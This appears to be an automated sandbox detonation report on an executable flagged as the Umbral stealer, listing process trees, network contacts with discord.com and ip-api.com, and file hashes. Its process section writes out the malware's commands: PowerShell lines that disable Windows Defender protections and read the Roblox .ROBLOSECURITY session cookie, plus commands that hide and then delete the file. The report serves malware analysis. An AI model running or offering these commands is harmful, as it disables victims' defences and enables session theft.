GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 apis.google.com udp
GB 142.250.187.206:443 apis.google.com tcp
N/A 224.0.0.251:5353 udp

Files

memory/2660-0-0x0000000000FB0000-0x0000000000FF0000-memory.dmp

memory/2660-1-0x000007FEF5B90000-0x000007FEF657C000-memory.dmp

memory/2660-2-0x0000000000D40000-0x0000000000DC0000-memory.dmp

memory/2752-21-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

memory/2752-22-0x00000000021D0000-0x00000000021D8000-memory.dmp

memory/2752-24-0x0000000002A20000-0x0000000002AA0000-memory.dmp

memory/2752-23-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

memory/2752-25-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

memory/2752-26-0x0000000002A20000-0x0000000002AA0000-memory.dmp

memory/2752-27-0x0000000002A20000-0x0000000002AA0000-memory.dmp

memory/2752-28-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 88a3a65b5bef46d1e142f86c09123101
SHA1 fce10c0baf974fe38f344497e3d1d3f44f8eaebb
SHA256 c700a4fbedba35de5b0e225cfdeefd16ae9edf2d36a38f07ab75930e60498524
SHA512 34d77cb829b8640f4a2feec6d80853e8b47bb84ff6facc1f4066e659588c984ccec9687319779e456beb826a8ae5c9d6698bc86c113d327bd56b1e9c632ab7ed

memory/2648-36-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

memory/2648-35-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/2648-37-0x0000000002B70000-0x0000000002BF0000-memory.dmp

memory/2648-34-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

memory/2648-40-0x0000000002B70000-0x0000000002BF0000-memory.dmp

memory/2648-41-0x0000000002B70000-0x0000000002BF0000-memory.dmp

memory/2648-39-0x0000000002B70000-0x0000000002BF0000-memory.dmp

memory/2648-38-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/2648-42-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/2980-56-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

memory/2980-57-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2980-58-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

memory/2980-61-0x00000000028FB000-0x0000000002962000-memory.dmp

memory/2980-60-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/2980-62-0x000007FEEE490000-0x000007FEEEE2D000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1744-69-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/2980-59-0x00000000028F0000-0x0000000002970000-memory.dmp

memory/1744-70-0x0000000002880000-0x0000000002900000-memory.dmp

memory/1744-71-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/1744-73-0x000000000288B000-0x00000000028F2000-memory.dmp

memory/1744-72-0x0000000002880000-0x0000000002900000-memory.dmp

memory/2660-75-0x000007FEF5B90000-0x000007FEF657C000-memory.dmp

memory/1744-74-0x000007FEEDAF0000-0x000007FEEE48D000-memory.dmp

memory/1964-85-0x000000001B620000-0x000000001B902000-memory.dmp

memory/1964-86-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

memory/1964-87-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/1964-88-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

memory/1964-89-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/1964-90-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/1964-91-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2660-84-0x0000000000D40000-0x0000000000DC0000-memory.dmp

memory/1964-92-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

memory/2660-96-0x000007FEF5B90000-0x000007FEF657C000-memory.dmp

C:\Windows\system32\drivers\etc\hosts

MD5 577f27e6d74bd8c5b7b0371f2b1e991c
SHA1 b334ccfe13792f82b698960cceaee2e690b85528
SHA256 0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9
SHA512 944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

MD5 18e723571b00fb1694a3bad6c78e4054
SHA1 afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA512 43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp

MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 9c7f9e63323657079f3604c9ece34d4e
SHA1 a258a8221f5a176eea1a676d66f4575d5a222008
SHA256 f92d8272a50ee0942588c5d412f25346222b31bad3242f75e68c61bb4f315a58
SHA512 454402617782fdc2c77c77c507facf03b7c8af436d72fb5125717605d1e7952280466d4c7ccd4aec500eabd837faf075d10b622531fbaa2aeaca3762f3cdafa7

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 5a40e1ff9fd97348a43b16c7ba1d3737
SHA1 7955b66cc18752a43ce428345d4f604f6e42f973
SHA256 505b10848895f9aa93da66d5de27a7e03caab52ce8d53e3c9170db2fb4517359
SHA512 46080322c9a3b295795fdf10e57202603c99161d21396857edf7ea2146abd3173c12ed637ea6beaf5f7c57385feca3e94215bbdbe33e4870984f4f67b7213f1d

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-24 19:35

Reported

2024-04-24 19:38

Platform

win10v2004-20240412-en

Max time kernel

149s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Saransk.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2848 wrote to memory of 4228 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\SYSTEM32\attrib.exe
PID 2848 wrote to memory of 4228 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\SYSTEM32\attrib.exe
PID 2848 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2108 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2108 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2848 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2848 wrote to memory of 4068 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\SYSTEM32\cmd.exe
PID 2848 wrote to memory of 4068 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\SYSTEM32\cmd.exe
PID 4068 wrote to memory of 2348 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 4068 wrote to memory of 2348 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Saransk.exe

"C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Saransk.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Saransk.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 142.250.180.3:443 gstatic.com tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 240.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.136.232:443 discord.com tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 232.136.159.162.in-addr.arpa udp
US 8.8.8.8:53 67.32.209.4.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 11.2.37.23.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 166.17.21.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 48.118.77.104.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/2848-0-0x0000029416430000-0x0000029416470000-memory.dmp

memory/2848-1-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2848-2-0x0000029430AC0000-0x0000029430AD0000-memory.dmp

memory/4040-8-0x000001E0DE460000-0x000001E0DE482000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vnaxvysp.ui0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4040-13-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/4040-14-0x000001E0C5CC0000-0x000001E0C5CD0000-memory.dmp

memory/4040-17-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/2560-19-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2560-20-0x0000020568540000-0x0000020568550000-memory.dmp

memory/2560-21-0x0000020568540000-0x0000020568550000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

memory/2560-33-0x0000020568540000-0x0000020568550000-memory.dmp

memory/2560-34-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2848-38-0x0000029418130000-0x0000029418180000-memory.dmp

memory/2848-37-0x0000029430BD0000-0x0000029430C46000-memory.dmp

memory/2848-39-0x0000029418090000-0x00000294180AE000-memory.dmp

memory/2108-40-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2108-41-0x000001E1A5D60000-0x000001E1A5D70000-memory.dmp

memory/2108-42-0x000001E1A5D60000-0x000001E1A5D70000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c65738617888921a153bd9b1ef516ee7
SHA1 5245e71ea3c181d76320c857b639272ac9e079b1
SHA256 4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
SHA512 2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

memory/2108-65-0x000001E1A5D60000-0x000001E1A5D70000-memory.dmp

memory/2108-67-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/888-68-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/888-69-0x000002BB40990000-0x000002BB409A0000-memory.dmp

memory/888-71-0x000002BB40990000-0x000002BB409A0000-memory.dmp

memory/2848-70-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/888-82-0x000002BB40990000-0x000002BB409A0000-memory.dmp

memory/888-84-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2848-87-0x0000029430AA0000-0x0000029430AB2000-memory.dmp

memory/2848-86-0x00000294180E0000-0x00000294180EA000-memory.dmp

memory/2592-90-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2592-91-0x0000024947B20000-0x0000024947B30000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ac057a92f4b62d8880169af0693ef5b2
SHA1 66e7c7834c5dae5cec863ccd69403150d05841f4
SHA256 7cef55990e8e6cfe07e1965b303e79ac562cdc128ab82edf480d9873f72bb3ed
SHA512 d525f47da9e61fc87e55aca6b34e776be3ed081b719bbbb5256705a6afe5fdd4c16d5ee595af13994e2718f789f5fd32830331347d97b029c031c9dfe30c7f49

memory/2592-103-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp

memory/2848-108-0x00007FFDA5D70000-0x00007FFDA6831000-memory.dmp